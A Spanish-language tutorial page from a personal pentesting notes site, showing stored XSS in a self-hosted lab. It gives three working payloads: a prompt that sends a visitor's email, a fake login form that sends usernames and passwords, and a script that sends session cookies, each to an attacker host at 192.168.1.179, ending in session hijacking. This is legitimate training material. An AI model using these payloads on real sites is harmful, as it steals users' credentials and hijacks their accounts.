RODGAR
  • Whoami
  • ACTIVE DIRECTORY
    • HackTheBox Scrambled
    • HackTheBox Forest
    • HackTheBox Escape
    • HackTheBox Authority
    • HackTheBox Support
    • HackTheBox Return
    • HackTheBox Timelapse
    • HackTheBox Administrator
    • HackTheBox Cicada
    • ⛔HackTheBox Vintage
    • HackTheBox Sauna
    • HackTheBox Active
  • CTF WRITEUP's
    • TryHackme
      • TryHackme 0day
      • TryHackme Daily Bugle
      • TryHackme Blog
      • TryHackme Year of the Owl
      • TryHackme Wgel CTF
      • TryHackme Chill Hack
      • TryHackme Wonderland
      • TryHackne OhSINT
      • TryHackme Cold VVars
      • TryHackme Dav
      • TryHackme RootMe
      • TryHackMe Basic Pentesting
      • TryHackMe Simple-CTF
      • TryHackMe Vulnversity
      • Tryhackme Kenobi
    • Burp Suite
      • 1️⃣SQL Ijections
        • Laboratorio Uno
        • Laboratorio Dos
        • Laboratorio Tres
        • Laboratorio Cuatro
        • Laboratorio Cinco
        • Laboratorio Seis
        • Laboratorio Siete
    • VulnHub
      • Inferno
      • Election
      • SYMFONOS 3
      • SYMFONOS 2
      • DJinn-3
      • Durian 1
      • DarkHole 2
      • OffSec DC-9
      • OffSec Potato
      • OffSec Pwned1
      • OffSec VIKINGS
      • OffSec Tre
      • OffSec MoneyBox
      • OffSec DEATHNOTE
      • OffSec Gaara
      • OffSec NoName
      • OffSec Katana
      • OffSec Sick0s
    • The Hackers Labs
      • The Hackers Labs Offensive
      • The Hackers Labs Resident
      • The Hacker Labs Base
      • The Hackers Labs Statue
      • The Hackers Labs Luna
      • The Hackers Labs Templo
      • The Hackers Labs GOIKO
      • The Hackers Labs Microsoft
    • Hackmyvm
      • Hackmyvm UP
    • Pivoting
      • Pivoting
      • Internal TryHackme
      • Basic /Doctor
      • Pluck /Brain
  • Privilege escalation
    • Abuso de grupos de usuario especiales
      • Docker
      • LXD
      • ADM
    • Abuso de permisos incorrectamente implementados
    • Detección y explotación de Capabilities
    • Tareas Crom
    • Path Hijacking
    • Abusando de privilegios a nivel de Sudoers
    • Abusando de privilegios SUID
    • Linux Privilege Escalation
  • Shared Files
    • Share Windows Linux
      • Compartir de entre Windows y Linux
      • Compartir de Windows a linux [Impacket-Server]
    • Share Linux
      • Compartir de linux en [PHP]
  • OWASP TOP 10
    • SQL Injections
    • XSS
    • XXE
    • Path traversal Lab
    • LFI con Wrappers
    • Log Poisoning (LFI -> RCE)
    • Server-Side Template Injection (SSTI)
    • Ataque de oráculo de relleno (Padding Oracle)
    • Inyecciones LaTeX
    • Ataques de transferencia de zona (AXFR – Full Zone Transfer)
    • Enumeración y explotación de WebDAV
    • ShellShock
    • Enumeración y explotación de SQUID Proxies
    • Insecure Direct Object Reference (IDORs)
    • Json Web Token
    • Intercambio de recursos de origen cruzado (CORS)
    • Abuso de subidas de archivos
      • Laboratorio 1
      • Laboratorio 2
      • Laboratorio 3
      • Laboratorio 4
      • Laboratorio 5
      • Laboratorio 6
      • Laboratorio 7
      • Laboratorio 8
      • Laboratorio 9
  • Group 1
    • Recursos
Con tecnología de GitBook
En esta página
  1. OWASP TOP 10

XSS

AnteriorSQL InjectionsSiguienteXXE

Última actualización hace 1 año

Una vulnerabilidad XSS (Cross-Site Scripting) es un tipo de vulnerabilidad de seguridad informática que permite a un atacante ejecutar código malicioso en la página web de un usuario sin su conocimiento o consentimiento. Esta vulnerabilidad permite al atacante robar información personal, como nombres de usuario, contraseñas y otros datos confidenciales.

En esencia, un ataque XSS implica la inserción de código malicioso en una página web vulnerable, que luego se ejecuta en el navegador del usuario que accede a dicha página. El código malicioso puede ser cualquier cosa, desde scripts que redirigen al usuario a otra página, hasta secuencias de comandos que registran pulsaciones de teclas o datos de formularios y los envían a un servidor remoto.

​

Nos vamos a montar un laboratorio con este repositorio de

Ya con el laboratorio montano nos monta un server por el puerto 10007 donde tenemos un panel de login y registro.

Crearemos dod usuarios uno rodgar y otro leo, esto lo hacemos para en nuestras practicas le robaremos la cookie de sessions al usuario leo.

Creamos a rogdra y luego a leo.

Nos logueamos como rodgar y la tipica con este pequeño codigo ver si es vulnerable a XSS.

Cuando entramos al POST nos sale el alert, esto quiere decir que si es vulnerable a XSS, ahora vamos a seguir con un poco mas de cosas.

---------------------------------------------------------------------------------------------------------------------

Ejercicio uno en este ejercicio le robaremos el correo electronico a un usuario el que vea el POST que posteamos.

<script>
    var email = prompt("Por favor, introduce el correo electrónico para visualizar el post", "example@gmail.com");

    if (email == null || email === "") {
        alert("Es necesario introducir un correo electrónico para visualizar el post");
    } else {
        fetch("http://192.168.1.179/?email=" + email)
            .then(response => {
                if (!response.ok) {
                    throw new Error('Error en la solicitud');
                }
                // Aquí puedes manejar la respuesta si es necesario
                // Por ejemplo, response.json() para leer datos JSON
                console.log('Solicitud exitosa');
            })
            .catch(error => {
                console.error('Error en la solicitud:', error);
            });
    }
</script>

Vamos a introducir este pequeño codigo en donde se nos permite y nos lo interpreta donde le pedira ah cualquier usuario que para visualizar el POST debe proporcinar un correo electronico.

Y posteamos.

Seguidamente si intentamos abrir el POST nos dice que Por favor, introducir correo electronico para visualizar el POST.

Ya habiendo estado en escucha con python el correo que la persona escriba nos lo enviara a nostros y asi habriamos hecho con su correo.

---------------------------------------------------------------------------------------------------------------------

En este siguiente ejercicio robaremos correo y contraseña que para visualizar el POST debe proporcionar correo y contraseña.

El script sera el siguiente

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Iniciar Sesión</title>
</head>
<body>

<div style="max-width: 300px; margin: 0 auto; text-align: center;">
    <h2>Iniciar Sesión</h2>
    <div>
        <input type="text" id="username" placeholder="Usuario">
    </div>
    <div>
        <input type="password" id="password" placeholder="Contraseña">
    </div>
    <button onclick="enviarCredenciales()">Iniciar Sesion</button>
</div>

<script>
    function enviarCredenciales() {
        var username = document.getElementById('username').value;
        var password = document.getElementById('password').value;

        if (username === "" || password === "") {
            alert("Por favor, completa ambos campos.");
            return;
        }

        // solicitud GET
        fetch(`http://192.168.1.179/?username=${username}&password=${password}`)
        .then(response => {
            if (!response.ok) {
                throw new Error('Error en la solicitud');
            }
            console.log('Solicitud exitosa');
        })
        .catch(error => {
            console.error('Error en la solicitud:', error);
        });
    }
</script>

</body>
</html>

Pegamos el codigo donde se nos permite introducir datos.

Luego si intentamos observar el POST nos dice que es necesario iniciar session. Si la persona introduce datos se nos enviara a nostros a nuestro servidor.

Estando en escucha con python3 recivimos la info que el usuario habria introducido para ver el POST, en este caso le hemos robado su correo y contraseña.

---------------------------------------------------------------------------------------------------------------------

Ejercicio tres, en este caso en vez de robar correos y contraseñas le robaremos la Cookie de sesion al usuario leo.

Para que esta vulnerabilidad se pueda acontecer el el HTTPOnly del navegador de la victima si esta en false nos enviaria su cookie de lo contrario no.

<script>
	var request = new XMLHttpRequest();
	request.open('GET', 'http://192.168.1.179/?cookie=' + document.cookie);
	request.send();
</script>

Un codigo simple

Pegamos el codigo y hacemos el POST la idea aca es robarle la cookie de session al usuario leo y pasar de ser el usuario rodgar a la cuenta de leo.

Luego si nos ponemos en escucha con python3 y el usuario le pica al POST nos envia su cookie de sesion que este caso esta Cookie es del usuario leo.

Teniendo la Cookie del usuario leo y estando en la session actual que somos rodgar si nos vamos y inspeccionamos y en la cookie el valor que tenemos que es del usuario rodgar y pegamos la nueva cookie que tenemos y recargamos la pagina; observamremos que seguimos siendo el usario rodgar.

Pero ahora si hacemos un nuevo POST ya con la cookie reemplazada que usuario crees que seremos leo o rodgar.

  • Si nos vamos al ultimo POST que era quien soy nos pone que ahora somos leo y no el usuario rodgar, Porque Porque hemos obtenido la cookie de session del usuario leo y la hemos reemplazado en el storage del navegador.

GITHUB